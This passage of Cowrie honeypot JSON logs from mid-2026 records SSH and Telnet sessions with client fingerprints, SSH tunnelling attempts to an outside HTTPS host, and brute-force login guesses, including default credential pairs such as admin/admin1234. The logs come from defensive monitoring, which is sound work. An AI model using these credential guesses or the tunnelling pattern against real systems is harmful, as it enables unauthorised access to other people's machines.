{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa5\\xa3X\\xd1b\\x91\\x84\\x01\\xfa\\xed\\xcb\\x03B\\\\\\xcb\\x9e\\xb8\\xe4\\xc2K\\xc2g\\x00\\xcc\\xaa\\xcf.9\\xc9\\x05\\xcd\\xbd \\x1d=\\xe8\\x8d\\x9a\\xdd\\x1d\\xeb\\x99\\x17\\x07I\\xff\\xc1\\xe2$\\xff\\x8fN\\xeaGL\\x98\\xd3\\xbb\\xaa\\x9e\\xab\\xfe\\xe0\\xc6\\xf6\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcb\\xe6(`\\xb2\\xb6\\x07\\xeb\\xc2*M\\xe9E\\x89\\xa0\\xb3NGL\\xe3\\x90\\xf1\\xd8\\xa0\\x1bc\\xd4!\\xa9\\x81\\x0c4\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa5\\xa3X\\xd1b\\x91\\x84\\x01\\xfa\\xed\\xcb\\x03B\\\\\\xcb\\x9e\\xb8\\xe4\\xc2K\\xc2g\\x00\\xcc\\xaa\\xcf.9\\xc9\\x05\\xcd\\xbd \\x1d=\\xe8\\x8d\\x9a\\xdd\\x1d\\xeb\\x99\\x17\\x07I\\xff\\xc1\\xe2$\\xff\\x8fN\\xeaGL\\x98\\xd3\\xbb\\xaa\\x9e\\xab\\xfe\\xe0\\xc6\\xf6\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcb\\xe6(`\\xb2\\xb6\\x07\\xeb\\xc2*M\\xe9E\\x89\\xa0\\xb3NGL\\xe3\\x90\\xf1\\xd8\\xa0\\x1bc\\xd4!\\xa9\\x81\\x0c4\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:07.740037Z","src_ip":"113.164.152.20","session":"ca5a3d0b6685","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:08.012810Z","session":"ca5a3d0b6685","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:08.277263Z","src_ip":"113.164.152.20","session":"ca5a3d0b6685","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf8\\xc0\\xbc\\xa6\\xe1\\x06\\x86u\\xe2I\\xf0\\x90i\\xf7m\\xcb\\xd2Xe\\x90\\x0f\\xaa\\xcaN\\x1c\"\\xe6,2<3\\xaf \\xe6J>\\x08\\xdbJ[\\x00\\xf4\\x92\\x84\\xf9\\xef\\xe1\\x06\\ty\\xae\\xd0\\xba\\x89\"OW\\xad\\x80Z\\x91\\xcd\\xc8lO\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x14F\\xd7\\xb99\\x93p\\x1fV.V&\\x06E\\x91\\xa9\\xda\\xec\\xb2q\\xb9\\xf9Q~\\xc2\\xf2\\x80\\xf2\\xd5\\x91\\xcee\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf8\\xc0\\xbc\\xa6\\xe1\\x06\\x86u\\xe2I\\xf0\\x90i\\xf7m\\xcb\\xd2Xe\\x90\\x0f\\xaa\\xcaN\\x1c\"\\xe6,2<3\\xaf \\xe6J>\\x08\\xdbJ[\\x00\\xf4\\x92\\x84\\xf9\\xef\\xe1\\x06\\ty\\xae\\xd0\\xba\\x89\"OW\\xad\\x80Z\\x91\\xcd\\xc8lO\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x14F\\xd7\\xb99\\x93p\\x1fV.V&\\x06E\\x91\\xa9\\xda\\xec\\xb2q\\xb9\\xf9Q~\\xc2\\xf2\\x80\\xf2\\xd5\\x91\\xcee\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:08.280356Z","src_ip":"113.164.152.20","session":"ca5a3d0b6685","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:08.677386Z","src_ip":"113.164.152.20","session":"ca5a3d0b6685","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.4328863620758,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:09.872668Z","src_ip":"128.199.8.54","session":"56ba87a40122","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":46862,"dst_ip":"10.17.0.5","dst_port":22,"session":"f46503ab552c","protocol":"ssh","message":"New connection: 176.32.39.21:46862 (10.17.0.5:22) [session: f46503ab552c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:15.519013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:15.526960Z","src_ip":"176.32.39.21","session":"f46503ab552c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:15.648696Z","src_ip":"176.32.39.21","session":"f46503ab552c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kakaxa","message":"login attempt [root/kakaxa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:16.021082Z","src_ip":"176.32.39.21","session":"f46503ab552c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:17.153992Z","src_ip":"176.32.39.21","session":"f46503ab552c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":59253,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aff9eb5bbea","protocol":"ssh","message":"New connection: 63.141.242.2:59253 (10.17.0.5:22) [session: 3aff9eb5bbea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:18.252362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:18.261893Z","src_ip":"63.141.242.2","session":"3aff9eb5bbea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:18.336006Z","src_ip":"63.141.242.2","session":"3aff9eb5bbea","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:20.125564Z","src_ip":"63.141.242.2","session":"3aff9eb5bbea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":15805,"dst_ip":"159.203.135.109","dst_port":22,"session":"06640a889ff8","protocol":"ssh","message":"New connection: 178.20.210.208:15805 (159.203.135.109:22) [session: 06640a889ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:26.139346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:26.275939Z","src_ip":"178.20.210.208","session":"06640a889ff8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:26.279341Z","src_ip":"178.20.210.208","session":"06640a889ff8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"admin123","message":"login attempt [ubnt/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:26.690573Z","src_ip":"178.20.210.208","session":"06640a889ff8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":36640,"dst_ip":"159.203.135.109","dst_port":22,"session":"84675525dd9e","protocol":"ssh","message":"New connection: 101.79.165.43:36640 (159.203.135.109:22) [session: 84675525dd9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:27.331872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:27.336975Z","src_ip":"101.79.165.43","session":"84675525dd9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hel